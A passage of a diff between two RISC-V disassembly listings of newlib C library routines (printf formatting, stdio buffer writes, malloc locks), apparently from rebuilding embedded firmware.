-20404050:	0207c163          	bltz	a5,20404072 <_svfiprintf_r+0x196>
-20404054:	ca3e                	sw	a5,20(sp)
-20404056:	a835                	j	20404092 <_svfiprintf_r+0x1b6>
-20404058:	40e00733          	neg	a4,a4
-2040405c:	0027e793          	ori	a5,a5,2
-20404060:	ce3a                	sw	a4,28(sp)
-20404062:	c83e                	sw	a5,16(sp)
-20404064:	b7e1                	j	2040402c <_svfiprintf_r+0x150>
-20404066:	036787b3          	mul	a5,a5,s6
-2040406a:	842e                	mv	s0,a1
-2040406c:	4685                	li	a3,1
-2040406e:	97ba                	add	a5,a5,a4
-20404070:	b749                	j	20403ff2 <_svfiprintf_r+0x116>
-20404072:	57fd                	li	a5,-1
-20404074:	b7c5                	j	20404054 <_svfiprintf_r+0x178>
-20404076:	0405                	addi	s0,s0,1
-20404078:	ca02                	sw	zero,20(sp)
-2040407a:	4681                	li	a3,0
-2040407c:	4781                	li	a5,0
-2040407e:	4625                	li	a2,9
-20404080:	00044703          	lbu	a4,0(s0)
-20404084:	00140593          	addi	a1,s0,1
-20404088:	fd070713          	addi	a4,a4,-48
-2040408c:	06e67663          	bgeu	a2,a4,204040f8 <_svfiprintf_r+0x21c>
-20404090:	f2f1                	bnez	a3,20404054 <_svfiprintf_r+0x178>
-20404092:	00044583          	lbu	a1,0(s0)
-20404096:	460d                	li	a2,3
-20404098:	00002517          	auipc	a0,0x2
-2040409c:	ebc50513          	addi	a0,a0,-324 # 20405f54 <__sf_fake_stdout+0x28>
-204040a0:	54f000ef          	jal	ra,20404dee <memchr>
-204040a4:	cd11                	beqz	a0,204040c0 <_svfiprintf_r+0x1e4>
-204040a6:	00002797          	auipc	a5,0x2
-204040aa:	eae78793          	addi	a5,a5,-338 # 20405f54 <__sf_fake_stdout+0x28>
-204040ae:	8d1d                	sub	a0,a0,a5
-204040b0:	04000793          	li	a5,64
-204040b4:	00a797b3          	sll	a5,a5,a0
-204040b8:	4542                	lw	a0,16(sp)
-204040ba:	0405                	addi	s0,s0,1
-204040bc:	8d5d                	or	a0,a0,a5
-204040be:	c82a                	sw	a0,16(sp)
-204040c0:	00044583          	lbu	a1,0(s0)
-204040c4:	4619                	li	a2,6
-204040c6:	00002517          	auipc	a0,0x2
-204040ca:	e9250513          	addi	a0,a0,-366 # 20405f58 <__sf_fake_stdout+0x2c>
-204040ce:	00140493          	addi	s1,s0,1
-204040d2:	02b10423          	sb	a1,40(sp)
-204040d6:	519000ef          	jal	ra,20404dee <memchr>
-204040da:	c135                	beqz	a0,2040413e <_svfiprintf_r+0x262>
-204040dc:	00000793          	li	a5,0
-204040e0:	e795                	bnez	a5,2040410c <_svfiprintf_r+0x230>
-204040e2:	4742                	lw	a4,16(sp)
-204040e4:	47b2                	lw	a5,12(sp)
-204040e6:	10077713          	andi	a4,a4,256
-204040ea:	cf09                	beqz	a4,20404104 <_svfiprintf_r+0x228>
-204040ec:	0791                	addi	a5,a5,4
-204040ee:	c63e                	sw	a5,12(sp)
-204040f0:	5792                	lw	a5,36(sp)
-204040f2:	97ce                	add	a5,a5,s3
-204040f4:	d23e                	sw	a5,36(sp)
-204040f6:	bd8d                	j	20403f68 <_svfiprintf_r+0x8c>
-204040f8:	036787b3          	mul	a5,a5,s6
-204040fc:	842e                	mv	s0,a1
-204040fe:	4685                	li	a3,1
-20404100:	97ba                	add	a5,a5,a4
-20404102:	bfbd                	j	20404080 <_svfiprintf_r+0x1a4>
-20404104:	079d                	addi	a5,a5,7
-20404106:	9be1                	andi	a5,a5,-8
-20404108:	07a1                	addi	a5,a5,8
-2040410a:	b7d5                	j	204040ee <_svfiprintf_r+0x212>
-2040410c:	0078                	addi	a4,sp,12
-2040410e:	00000697          	auipc	a3,0x0
-20404112:	ce668693          	addi	a3,a3,-794 # 20403df4 <__ssputs_r>
-20404116:	864a                	mv	a2,s2
-20404118:	080c                	addi	a1,sp,16
-2040411a:	8552                	mv	a0,s4
-2040411c:	00000097          	auipc	ra,0x0
-20404120:	000000e7          	jalr	zero # 0 <__stack_size-0x800>
-20404124:	57fd                	li	a5,-1
-20404126:	89aa                	mv	s3,a0
-20404128:	fcf514e3          	bne	a0,a5,204040f0 <_svfiprintf_r+0x214>
-2040412c:	00c95783          	lhu	a5,12(s2)
-20404130:	557d                	li	a0,-1
-20404132:	0407f793          	andi	a5,a5,64
-20404136:	de0796e3          	bnez	a5,20403f22 <_svfiprintf_r+0x46>
-2040413a:	5512                	lw	a0,36(sp)
-2040413c:	b3dd                	j	20403f22 <_svfiprintf_r+0x46>
-2040413e:	0078                	addi	a4,sp,12
-20404140:	00000697          	auipc	a3,0x0
-20404144:	cb468693          	addi	a3,a3,-844 # 20403df4 <__ssputs_r>
-20404148:	864a                	mv	a2,s2
-2040414a:	080c                	addi	a1,sp,16
-2040414c:	8552                	mv	a0,s4
-2040414e:	2a01                	jal	2040425e <_printf_i>
-20404150:	bfd1                	j	20404124 <_svfiprintf_r+0x248>
+20402ac8 <_fwalk_reent>:
+20402ac8:	7179                	addi	sp,sp,-48
+20402aca:	d422                	sw	s0,40(sp)
+20402acc:	d04a                	sw	s2,32(sp)
+20402ace:	ce4e                	sw	s3,28(sp)
+20402ad0:	cc52                	sw	s4,24(sp)
+20402ad2:	c85a                	sw	s6,16(sp)
+20402ad4:	c65e                	sw	s7,12(sp)
+20402ad6:	d606                	sw	ra,44(sp)
+20402ad8:	d226                	sw	s1,36(sp)
+20402ada:	ca56                	sw	s5,20(sp)
+20402adc:	892a                	mv	s2,a0
+20402ade:	8a2e                	mv	s4,a1
+20402ae0:	04850413          	addi	s0,a0,72
+20402ae4:	4981                	li	s3,0
+20402ae6:	4b05                	li	s6,1
+20402ae8:	5bfd                	li	s7,-1
+20402aea:	4404                	lw	s1,8(s0)
+20402aec:	00442a83          	lw	s5,4(s0)
+20402af0:	1afd                	addi	s5,s5,-1
+20402af2:	020ad063          	bgez	s5,20402b12 <_fwalk_reent+0x4a>
+20402af6:	4000                	lw	s0,0(s0)
+20402af8:	f86d                	bnez	s0,20402aea <_fwalk_reent+0x22>
+20402afa:	50b2                	lw	ra,44(sp)
+20402afc:	5422                	lw	s0,40(sp)
+20402afe:	5492                	lw	s1,36(sp)
+20402b00:	5902                	lw	s2,32(sp)
+20402b02:	4a62                	lw	s4,24(sp)
+20402b04:	4ad2                	lw	s5,20(sp)
+20402b06:	4b42                	lw	s6,16(sp)
+20402b08:	4bb2                	lw	s7,12(sp)
+20402b0a:	854e                	mv	a0,s3
+20402b0c:	49f2                	lw	s3,28(sp)
+20402b0e:	6145                	addi	sp,sp,48
+20402b10:	8082                	ret
+20402b12:	00c4d783          	lhu	a5,12(s1)
+20402b16:	00fb7b63          	bgeu	s6,a5,20402b2c <_fwalk_reent+0x64>
+20402b1a:	00e49783          	lh	a5,14(s1)
+20402b1e:	01778763          	beq	a5,s7,20402b2c <_fwalk_reent+0x64>
+20402b22:	85a6                	mv	a1,s1
+20402b24:	854a                	mv	a0,s2
+20402b26:	9a02                	jalr	s4
+20402b28:	00a9e9b3          	or	s3,s3,a0
+20402b2c:	06848493          	addi	s1,s1,104
+20402b30:	b7c1                	j	20402af0 <_fwalk_reent+0x28>
 
-20404152 <_printf_common>:
-20404152:	7179                	addi	sp,sp,-48
-20404154:	cc52                	sw	s4,24(sp)
-20404156:	499c                	lw	a5,16(a1)
-20404158:	8a3a                	mv	s4,a4
-2040415a:	4598                	lw	a4,8(a1)
-2040415c:	d422                	sw	s0,40(sp)
-2040415e:	d226                	sw	s1,36(sp)
-20404160:	ce4e                	sw	s3,28(sp)
-20404162:	ca56                	sw	s5,20(sp)
-20404164:	d606                	sw	ra,44(sp)
-20404166:	d04a                	sw	s2,32(sp)
-20404168:	c85a                	sw	s6,16(sp)
-2040416a:	c65e                	sw	s7,12(sp)
-2040416c:	89aa                	mv	s3,a0
-2040416e:	842e                	mv	s0,a1
-20404170:	84b2                	mv	s1,a2
-20404172:	8ab6                	mv	s5,a3
-20404174:	00e7d363          	bge	a5,a4,2040417a <_printf_common+0x28>
-20404178:	87ba                	mv	a5,a4
-2040417a:	c09c                	sw	a5,0(s1)
-2040417c:	04344703          	lbu	a4,67(s0)
-20404180:	c319                	beqz	a4,20404186 <_printf_common+0x34>
-20404182:	0785                	addi	a5,a5,1
-20404184:	c09c                	sw	a5,0(s1)
-20404186:	401c                	lw	a5,0(s0)
-20404188:	0207f793          	andi	a5,a5,32
-2040418c:	c781                	beqz	a5,20404194 <_printf_common+0x42>
-2040418e:	409c                	lw	a5,0(s1)
-20404190:	0789                	addi	a5,a5,2
-20404192:	c09c                	sw	a5,0(s1)
-20404194:	00042903          	lw	s2,0(s0)
-20404198:	00697913          	andi	s2,s2,6
-2040419c:	00091a63          	bnez	s2,204041b0 <_printf_common+0x5e>
-204041a0:	01940b13          	addi	s6,s0,25
-204041a4:	5bfd                	li	s7,-1
-204041a6:	445c                	lw	a5,12(s0)
-204041a8:	4098                	lw	a4,0(s1)
-204041aa:	8f99                	sub	a5,a5,a4
-204041ac:	04f94c63          	blt	s2,a5,20404204 <_printf_common+0xb2>
-204041b0:	04344783          	lbu	a5,67(s0)
-204041b4:	00f036b3          	snez	a3,a5
-204041b8:	401c                	lw	a5,0(s0)
-204041ba:	0207f793          	andi	a5,a5,32
-204041be:	eba5                	bnez	a5,2040422e <_printf_common+0xdc>
-204041c0:	04340613          	addi	a2,s0,67
-204041c4:	85d6                	mv	a1,s5
-204041c6:	854e                	mv	a0,s3
-204041c8:	9a02                	jalr	s4
-204041ca:	57fd                	li	a5,-1
-204041cc:	04f50363          	beq	a0,a5,20404212 <_printf_common+0xc0>
-204041d0:	401c                	lw	a5,0(s0)
-204041d2:	4611                	li	a2,4
-204041d4:	4098                	lw	a4,0(s1)
-204041d6:	8b99                	andi	a5,a5,6
-204041d8:	4454                	lw	a3,12(s0)
-204041da:	4481                	li	s1,0
-204041dc:	00c79763          	bne	a5,a2,204041ea <_printf_common+0x98>
-204041e0:	40e684b3          	sub	s1,a3,a4
-204041e4:	0004d363          	bgez	s1,204041ea <_printf_common+0x98>
-204041e8:	4481                	li	s1,0
-204041ea:	441c                	lw	a5,8(s0)
-204041ec:	4818                	lw	a4,16(s0)
-204041ee:	00f75463          	bge	a4,a5,204041f6 <_printf_common+0xa4>
-204041f2:	8f99                	sub	a5,a5,a4
-204041f4:	94be                	add	s1,s1,a5
-204041f6:	4901                	li	s2,0
-204041f8:	0469                	addi	s0,s0,26
-204041fa:	5b7d                	li	s6,-1
-204041fc:	05249863          	bne	s1,s2,2040424c <_printf_common+0xfa>
-20404200:	4501                	li	a0,0
-20404202:	a809                	j	20404214 <_printf_common+0xc2>
-20404204:	4685                	li	a3,1
-20404206:	865a                	mv	a2,s6
-20404208:	85d6                	mv	a1,s5
-2040420a:	854e                	mv	a0,s3
-2040420c:	9a02                	jalr	s4
-2040420e:	01751e63          	bne	a0,s7,2040422a <_printf_common+0xd8>
-20404212:	557d                	li	a0,-1
-20404214:	50b2                	lw	ra,44(sp)
-20404216:	5422                	lw	s0,40(sp)
-20404218:	5492                	lw	s1,36(sp)
-2040421a:	5902                	lw	s2,32(sp)
-2040421c:	49f2                	lw	s3,28(sp)
-2040421e:	4a62                	lw	s4,24(sp)
-20404220:	4ad2                	lw	s5,20(sp)
-20404222:	4b42                	lw	s6,16(sp)
-20404224:	4bb2                	lw	s7,12(sp)
-20404226:	6145                	addi	sp,sp,48
-20404228:	8082                	ret
-2040422a:	0905                	addi	s2,s2,1
-2040422c:	bfad                	j	204041a6 <_printf_common+0x54>
-2040422e:	00d40733          	add	a4,s0,a3
-20404232:	03000613          	li	a2,48
-20404236:	04c701a3          	sb	a2,67(a4)
-2040423a:	04544703          	lbu	a4,69(s0)
-2040423e:	00168793          	addi	a5,a3,1
-20404242:	97a2                	add	a5,a5,s0
-20404244:	0689                	addi	a3,a3,2
-20404246:	04e781a3          	sb	a4,67(a5)
-2040424a:	bf9d                	j	204041c0 <_printf_common+0x6e>
-2040424c:	4685                	li	a3,1
-2040424e:	8622                	mv	a2,s0
-20404250:	85d6                	mv	a1,s5
-20404252:	854e                	mv	a0,s3
-20404254:	9a02                	jalr	s4
-20404256:	fb650ee3          	beq	a0,s6,20404212 <_printf_common+0xc0>
-2040425a:	0905                	addi	s2,s2,1
-2040425c:	b745                	j	204041fc <_printf_common+0xaa>
+20402b32 <__malloc_lock>:
+20402b32:	8082                	ret
 
-2040425e <_printf_i>:
-2040425e:	7179                	addi	sp,sp,-48
-20404260:	d422                	sw	s0,40(sp)
-20404262:	d226                	sw	s1,36(sp)
-20404264:	d04a                	sw	s2,32(sp)
-20404266:	ce4e                	sw	s3,28(sp)
-20404268:	d606                	sw	ra,44(sp)
-2040426a:	cc52                	sw	s4,24(sp)
-2040426c:	ca56                	sw	s5,20(sp)
-2040426e:	c85a                	sw	s6,16(sp)
-20404270:	0185c803          	lbu	a6,24(a1)
-20404274:	07800793          	li	a5,120
-20404278:	84aa                	mv	s1,a0
-2040427a:	842e                	mv	s0,a1
-2040427c:	8932                	mv	s2,a2
-2040427e:	89b6                	mv	s3,a3
-20404280:	0107ee63          	bltu	a5,a6,2040429c <_printf_i+0x3e>
-20404284:	06200793          	li	a5,98
-20404288:	04358693          	addi	a3,a1,67
-2040428c:	0107ed63          	bltu	a5,a6,204042a6 <_printf_i+0x48>
-20404290:	1c080563          	beqz	a6,2040445a <_printf_i+0x1fc>
-20404294:	05800793          	li	a5,88
-20404298:	12f80a63          	beq	a6,a5,204043cc <_printf_i+0x16e>
-2040429c:	04240a93          	addi	s5,s0,66
-204042a0:	05040123          	sb	a6,66(s0)
-204042a4:	a815                	j	204042d8 <_printf_i+0x7a>
-204042a6:	f9d80793          	addi	a5,a6,-99
-204042aa:	0ff7f793          	andi	a5,a5,255
-204042ae:	4655                	li	a2,21
-204042b0:	fef666e3          	bltu	a2,a5,2040429c <_printf_i+0x3e>
-204042b4:	00002617          	auipc	a2,0x2
-204042b8:	cd460613          	addi	a2,a2,-812 # 20405f88 <__sf_fake_stdout+0x5c>
-204042bc:	078a                	slli	a5,a5,0x2
-204042be:	97b2                	add	a5,a5,a2
-204042c0:	439c                	lw	a5,0(a5)
-204042c2:	97b2                	add	a5,a5,a2
-204042c4:	8782                	jr	a5
-204042c6:	431c                	lw	a5,0(a4)
-204042c8:	04258a93          	addi	s5,a1,66
-204042cc:	00478693          	addi	a3,a5,4
-204042d0:	439c                	lw	a5,0(a5)
-204042d2:	c314                	sw	a3,0(a4)
-204042d4:	04f58123          	sb	a5,66(a1)
-204042d8:	4785                	li	a5,1
-204042da:	a265                	j	20404482 <_printf_i+0x224>
-204042dc:	419c                	lw	a5,0(a1)
-204042de:	4308                	lw	a0,0(a4)
-204042e0:	0807f613          	andi	a2,a5,128
-204042e4:	00450593          	addi	a1,a0,4
-204042e8:	c20d                	beqz	a2,2040430a <_printf_i+0xac>
-204042ea:	411c                	lw	a5,0(a0)
-204042ec:	c30c                	sw	a1,0(a4)
-204042ee:	0007d863          	bgez	a5,204042fe <_printf_i+0xa0>
-204042f2:	02d00713          	li	a4,45
-204042f6:	40f007b3          	neg	a5,a5
-204042fa:	04e401a3          	sb	a4,67(s0)
-204042fe:	00002617          	auipc	a2,0x2
-20404302:	c6260613          	addi	a2,a2,-926 # 20405f60 <__sf_fake_stdout+0x34>
-20404306:	4829                	li	a6,10
-20404308:	a0a1                	j	20404350 <_printf_i+0xf2>
-2040430a:	0407f613          	andi	a2,a5,64
-2040430e:	411c                	lw	a5,0(a0)
-20404310:	c30c                	sw	a1,0(a4)
-20404312:	de71                	beqz	a2,204042ee <_printf_i+0x90>
-20404314:	07c2                	slli	a5,a5,0x10
-20404316:	87c1                	srai	a5,a5,0x10
-20404318:	bfd9                	j	204042ee <_printf_i+0x90>
-2040431a:	4190                	lw	a2,0(a1)
-2040431c:	431c                	lw	a5,0(a4)
-2040431e:	08067513          	andi	a0,a2,128
-20404322:	00478593          	addi	a1,a5,4
-20404326:	c501                	beqz	a0,2040432e <_printf_i+0xd0>
-20404328:	c30c                	sw	a1,0(a4)
-2040432a:	439c                	lw	a5,0(a5)
-2040432c:	a039                	j	2040433a <_printf_i+0xdc>
-2040432e:	04067613          	andi	a2,a2,64
-20404332:	c30c                	sw	a1,0(a4)
-20404334:	da7d                	beqz	a2,2040432a <_printf_i+0xcc>
-20404336:	0007d783          	lhu	a5,0(a5)
-2040433a:	06f00713          	li	a4,111
-2040433e:	00002617          	auipc	a2,0x2
-20404342:	c2260613          	addi	a2,a2,-990 # 20405f60 <__sf_fake_stdout+0x34>
-20404346:	0ee80463          	beq	a6,a4,2040442e <_printf_i+0x1d0>
-2040434a:	4829                	li	a6,10
-2040434c:	040401a3          	sb	zero,67(s0)
-20404350:	4058                	lw	a4,4(s0)
-20404352:	c418                	sw	a4,8(s0)
-20404354:	00074563          	bltz	a4,2040435e <_printf_i+0x100>
-20404358:	400c                	lw	a1,0(s0)
-2040435a:	99ed                	andi	a1,a1,-5
-2040435c:	c00c                	sw	a1,0(s0)
-2040435e:	e399                	bnez	a5,20404364 <_printf_i+0x106>
-20404360:	8ab6                	mv	s5,a3
-20404362:	cf19                	beqz	a4,20404380 <_printf_i+0x122>
-20404364:	8ab6                	mv	s5,a3
-20404366:	0307f733          	remu	a4,a5,a6
-2040436a:	1afd                	addi	s5,s5,-1
-2040436c:	9732                	add	a4,a4,a2
-2040436e:	00074703          	lbu	a4,0(a4)
-20404372:	00ea8023          	sb	a4,0(s5)
-20404376:	873e                	mv	a4,a5
-20404378:	0307d7b3          	divu	a5,a5,a6
-2040437c:	ff0775e3          	bgeu	a4,a6,20404366 <_printf_i+0x108>
-20404380:	47a1                	li	a5,8
-20404382:	00f81e63          	bne	a6,a5,2040439e <_printf_i+0x140>
-20404386:	401c                	lw	a5,0(s0)
-20404388:	8b85                	andi	a5,a5,1
-2040438a:	cb91                	beqz	a5,2040439e <_printf_i+0x140>
-2040438c:	4058                	lw	a4,4(s0)
-2040438e:	481c                	lw	a5,16(s0)
-20404390:	00e7c763          	blt	a5,a4,2040439e <_printf_i+0x140>
-20404394:	03000793          	li	a5,48
-20404398:	fefa8fa3          	sb	a5,-1(s5)
-2040439c:	1afd                	addi	s5,s5,-1
-2040439e:	415686b3          	sub	a3,a3,s5
-204043a2:	c814                	sw	a3,16(s0)
-204043a4:	874e                	mv	a4,s3
-204043a6:	86ca                	mv	a3,s2
-204043a8:	0070                	addi	a2,sp,12
-204043aa:	85a2                	mv	a1,s0
-204043ac:	8526                	mv	a0,s1
-204043ae:	3355                	jal	20404152 <_printf_common>
-204043b0:	5a7d                	li	s4,-1
-204043b2:	0d451c63          	bne	a0,s4,2040448a <_printf_i+0x22c>
-204043b6:	557d                	li	a0,-1
-204043b8:	50b2                	lw	ra,44(sp)
-204043ba:	5422                	lw	s0,40(sp)
-204043bc:	5492                	lw	s1,36(sp)
-204043be:	5902                	lw	s2,32(sp)
-204043c0:	49f2                	lw	s3,28(sp)
-204043c2:	4a62                	lw	s4,24(sp)
-204043c4:	4ad2                	lw	s5,20(sp)
-204043c6:	4b42                	lw	s6,16(sp)
-204043c8:	6145                	addi	sp,sp,48
-204043ca:	8082                	ret
-204043cc:	050582a3          	sb	a6,69(a1)
-204043d0:	00002617          	auipc	a2,0x2
-204043d4:	b9060613          	addi	a2,a2,-1136 # 20405f60 <__sf_fake_stdout+0x34>
-204043d8:	400c                	lw	a1,0(s0)
-204043da:	4308                	lw	a0,0(a4)
-204043dc:	0805f813          	andi	a6,a1,128
-204043e0:	411c                	lw	a5,0(a0)
-204043e2:	0511                	addi	a0,a0,4
-204043e4:	02080d63          	beqz	a6,2040441e <_printf_i+0x1c0>
-204043e8:	c308                	sw	a0,0(a4)
-204043ea:	0015f713          	andi	a4,a1,1
-204043ee:	c701                	beqz	a4,204043f6 <_printf_i+0x198>
-204043f0:	0205e593          	ori	a1,a1,32
-204043f4:	c00c                	sw	a1,0(s0)
-204043f6:	4841                	li	a6,16
-204043f8:	fbb1                	bnez	a5,2040434c <_printf_i+0xee>
-204043fa:	4018                	lw	a4,0(s0)
-204043fc:	fdf77713          	andi	a4,a4,-33
-20404400:	c018                	sw	a4,0(s0)
-20404402:	b7a9                	j	2040434c <_printf_i+0xee>
-20404404:	419c                	lw	a5,0(a1)
-20404406:	0207e793          	ori	a5,a5,32
-2040440a:	c19c                	sw	a5,0(a1)
-2040440c:	07800793          	li	a5,120
-20404410:	04f402a3          	sb	a5,69(s0)
-20404414:	00002617          	auipc	a2,0x2
-20404418:	b6060613          	addi	a2,a2,-1184 # 20405f74 <__sf_fake_stdout+0x48>
-2040441c:	bf75                	j	204043d8 <_printf_i+0x17a>
-2040441e:	0405f813          	andi	a6,a1,64
-20404422:	c308                	sw	a0,0(a4)
-20404424:	fc0803e3          	beqz	a6,204043ea <_printf_i+0x18c>
-20404428:	07c2                	slli	a5,a5,0x10
-2040442a:	83c1                	srli	a5,a5,0x10
-2040442c:	bf7d                	j	204043ea <_printf_i+0x18c>
-2040442e:	4821                	li	a6,8
-20404430:	bf31                	j	2040434c <_printf_i+0xee>
-20404432:	4190                	lw	a2,0(a1)
-20404434:	431c                	lw	a5,0(a4)
-20404436:	49cc                	lw	a1,20(a1)
-20404438:	08067813          	andi	a6,a2,128
-2040443c:	00478513          	addi	a0,a5,4
-20404440:	00080663          	beqz	a6,2040444c <_printf_i+0x1ee>
-20404444:	c308                	sw	a0,0(a4)
-20404446:	439c                	lw	a5,0(a5)
-20404448:	c38c                	sw	a1,0(a5)
-2040444a:	a801                	j	2040445a <_printf_i+0x1fc>
-2040444c:	c308                	sw	a0,0(a4)
-2040444e:	04067613          	andi	a2,a2,64
-20404452:	439c                	lw	a5,0(a5)
-20404454:	da75                	beqz	a2,20404448 <_printf_i+0x1ea>
-20404456:	00b79023          	sh	a1,0(a5)
-2040445a:	00042823          	sw	zero,16(s0)
-2040445e:	8ab6                	mv	s5,a3
-20404460:	b791                	j	204043a4 <_printf_i+0x146>
-20404462:	431c                	lw	a5,0(a4)
-20404464:	41d0                	lw	a2,4(a1)
-20404466:	4581                	li	a1,0
-20404468:	00478693          	addi	a3,a5,4
-2040446c:	c314                	sw	a3,0(a4)
-2040446e:	0007aa83          	lw	s5,0(a5)
-20404472:	8556                	mv	a0,s5
-20404474:	17b000ef          	jal	ra,20404dee <memchr>
-20404478:	c501                	beqz	a0,20404480 <_printf_i+0x222>
-2040447a:	41550533          	sub	a0,a0,s5
-2040447e:	c048                	sw	a0,4(s0)
-20404480:	405c                	lw	a5,4(s0)
-20404482:	c81c                	sw	a5,16(s0)
-20404484:	040401a3          	sb	zero,67(s0)
-20404488:	bf31                	j	204043a4 <_printf_i+0x146>
-2040448a:	4814                	lw	a3,16(s0)
-2040448c:	8656                	mv	a2,s5
-2040448e:	85ca                	mv	a1,s2
-20404490:	8526                	mv	a0,s1
-20404492:	9982                	jalr	s3
-20404494:	f34501e3          	beq	a0,s4,204043b6 <_printf_i+0x158>
-20404498:	401c                	lw	a5,0(s0)
-2040449a:	8b89                	andi	a5,a5,2
-2040449c:	e78d                	bnez	a5,204044c6 <_printf_i+0x268>
-2040449e:	47b2                	lw	a5,12(sp)
-204044a0:	4448                	lw	a0,12(s0)
-204044a2:	f0f55be3          	bge	a0,a5,204043b8 <_printf_i+0x15a>
-204044a6:	853e                	mv	a0,a5
-204044a8:	bf01                	j	204043b8 <_printf_i+0x15a>
-204044aa:	4685                	li	a3,1
-204044ac:	8656                	mv	a2,s5
-204044ae:	85ca                	mv	a1,s2
-204044b0:	8526                	mv	a0,s1
-204044b2:	9982                	jalr	s3
-204044b4:	f16501e3          	beq	a0,s6,204043b6 <_printf_i+0x158>
-204044b8:	0a05                	addi	s4,s4,1
-204044ba:	445c                	lw	a5,12(s0)
-204044bc:	4732                	lw	a4,12(sp)
-204044be:	8f99                	sub	a5,a5,a4
-204044c0:	fefa45e3          	blt	s4,a5,204044aa <_printf_i+0x24c>
-204044c4:	bfe9                	j	2040449e <_printf_i+0x240>
-204044c6:	4a01                	li	s4,0
-204044c8:	01940a93          	addi	s5,s0,25
-204044cc:	5b7d                	li	s6,-1
-204044ce:	b7f5                	j	204044ba <_printf_i+0x25c>
+20402b34 <__malloc_unlock>:
+20402b34:	8082                	ret
 
-204044d0 <__sfputc_r>:
-204044d0:	461c                	lw	a5,8(a2)
-204044d2:	17fd                	addi	a5,a5,-1
-204044d4:	c61c                	sw	a5,8(a2)
-204044d6:	0007d963          	bgez	a5,204044e8 <__sfputc_r+0x18>
-204044da:	4e18                	lw	a4,24(a2)
-204044dc:	00e7c563          	blt	a5,a4,204044e6 <__sfputc_r+0x16>
-204044e0:	47a9                	li	a5,10
-204044e2:	00f59363          	bne	a1,a5,204044e8 <__sfputc_r+0x18>
-204044e6:	a189                	j	20404928 <__swbuf_r>
-204044e8:	421c                	lw	a5,0(a2)
-204044ea:	852e                	mv	a0,a1
-204044ec:	00178713          	addi	a4,a5,1
-204044f0:	c218                	sw	a4,0(a2)
-204044f2:	00b78023          	sb	a1,0(a5)
-204044f6:	8082                	ret
+20402b36 <__ssputs_r>:
+20402b36:	1101                	addi	sp,sp,-32
+20402b38:	c84a                	sw	s2,16(sp)
+20402b3a:	0085a903          	lw	s2,8(a1)
+20402b3e:	cc22                	sw	s0,24(sp)
+20402b40:	c64e                	sw	s3,12(sp)
+20402b42:	c452                	sw	s4,8(sp)
+20402b44:	ce06                	sw	ra,28(sp)
+20402b46:	ca26                	sw	s1,20(sp)
+20402b48:	c256                	sw	s5,4(sp)
+20402b4a:	c05a                	sw	s6,0(sp)
+20402b4c:	842e                	mv	s0,a1
+20402b4e:	8a32                	mv	s4,a2
+20402b50:	89b6                	mv	s3,a3
+20402b52:	0926ee63          	bltu	a3,s2,20402bee <__ssputs_r+0xb8>
+20402b56:	00c5d783          	lhu	a5,12(a1)
+20402b5a:	4807f713          	andi	a4,a5,1152
+20402b5e:	c751                	beqz	a4,20402bea <__ssputs_r+0xb4>
+20402b60:	4004                	lw	s1,0(s0)
+20402b62:	498c                	lw	a1,16(a1)
+20402b64:	4858                	lw	a4,20(s0)
+20402b66:	8b2a                	mv	s6,a0
+20402b68:	40b48ab3          	sub	s5,s1,a1
+20402b6c:	448d                	li	s1,3
+20402b6e:	02e484b3          	mul	s1,s1,a4
+20402b72:	4709                	li	a4,2
+20402b74:	02e4c4b3          	div	s1,s1,a4
+20402b78:	00168713          	addi	a4,a3,1
+20402b7c:	9756                	add	a4,a4,s5
+20402b7e:	00e4f363          	bgeu	s1,a4,20402b84 <__ssputs_r+0x4e>
+20402b82:	84ba                	mv	s1,a4
+20402b84:	4007f793          	andi	a5,a5,1024
+20402b88:	c3d1                	beqz	a5,20402c0c <__ssputs_r+0xd6>
+20402b8a:	85a6                	mv	a1,s1
+20402b8c:	855a                	mv	a0,s6
+20402b8e:	995ff0ef          	jal	ra,20402522 <_malloc_r>
+20402b92:	892a                	mv	s2,a0
+20402b94:	e50d                	bnez	a0,20402bbe <__ssputs_r+0x88>
+20402b96:	47b1                	li	a5,12
+20402b98:	00fb2023          	sw	a5,0(s6)
+20402b9c:	00c45783          	lhu	a5,12(s0)
+20402ba0:	557d                	li	a0,-1
+20402ba2:	0407e793          	ori	a5,a5,64
+20402ba6:	00f41623          	sh	a5,12(s0)
+20402baa:	40f2                	lw	ra,28(sp)
+20402bac:	4462                	lw	s0,24(sp)
+20402bae:	44d2                	lw	s1,20(sp)
+20402bb0:	4942                	lw	s2,16(sp)
+20402bb2:	49b2                	lw	s3,12(sp)
+20402bb4:	4a22                	lw	s4,8(sp)
+20402bb6:	4a92                	lw	s5,4(sp)
+20402bb8:	4b02                	lw	s6,0(sp)
+20402bba:	6105                	addi	sp,sp,32
+20402bbc:	8082                	ret
+20402bbe:	480c                	lw	a1,16(s0)
+20402bc0:	8656                	mv	a2,s5
+20402bc2:	877ff0ef          	jal	ra,20402438 <memcpy>
+20402bc6:	00c45783          	lhu	a5,12(s0)
+20402bca:	b7f7f793          	andi	a5,a5,-1153
+20402bce:	0807e793          	ori	a5,a5,128
+20402bd2:	00f41623          	sh	a5,12(s0)
+20402bd6:	01242823          	sw	s2,16(s0)
+20402bda:	c844                	sw	s1,20(s0)
+20402bdc:	9956                	add	s2,s2,s5
+20402bde:	415484b3          	sub	s1,s1,s5
+20402be2:	01242023          	sw	s2,0(s0)
+20402be6:	c404                	sw	s1,8(s0)
+20402be8:	894e                	mv	s2,s3
+20402bea:	0129f363          	bgeu	s3,s2,20402bf0 <__ssputs_r+0xba>
+20402bee:	894e                	mv	s2,s3
+20402bf0:	4008                	lw	a0,0(s0)
+20402bf2:	864a                	mv	a2,s2
+20402bf4:	85d2                	mv	a1,s4
+20402bf6:	859ff0ef          	jal	ra,2040244e <memmove>
+20402bfa:	441c                	lw	a5,8(s0)
+20402bfc:	4501                	li	a0,0
+20402bfe:	412787b3          	sub	a5,a5,s2
+20402c02:	c41c                	sw	a5,8(s0)
+20402c04:	401c                	lw	a5,0(s0)
+20402c06:	97ca                	add	a5,a5,s2
+20402c08:	c01c                	sw	a5,0(s0)
+20402c0a:	b745                	j	20402baa <__ssputs_r+0x74>
+20402c0c:	8626                	mv	a2,s1
+20402c0e:	855a                	mv	a0,s6
+20402c10:	719000ef          	jal	ra,20403b28 <_realloc_r>
+20402c14:	892a                	mv	s2,a0
+20402c16:	f161                	bnez	a0,20402bd6 <__ssputs_r+0xa0>
+20402c18:	480c                	lw	a1,16(s0)
+20402c1a:	855a                	mv	a0,s6
+20402c1c:	869ff0ef          	jal	ra,20402484 <_free_r>
+20402c20:	bf9d                	j	20402b96 <__ssputs_r+0x60>
 
-204044f8 <__sfputs_r>:
-204044f8:	1101                	addi	sp,sp,-32
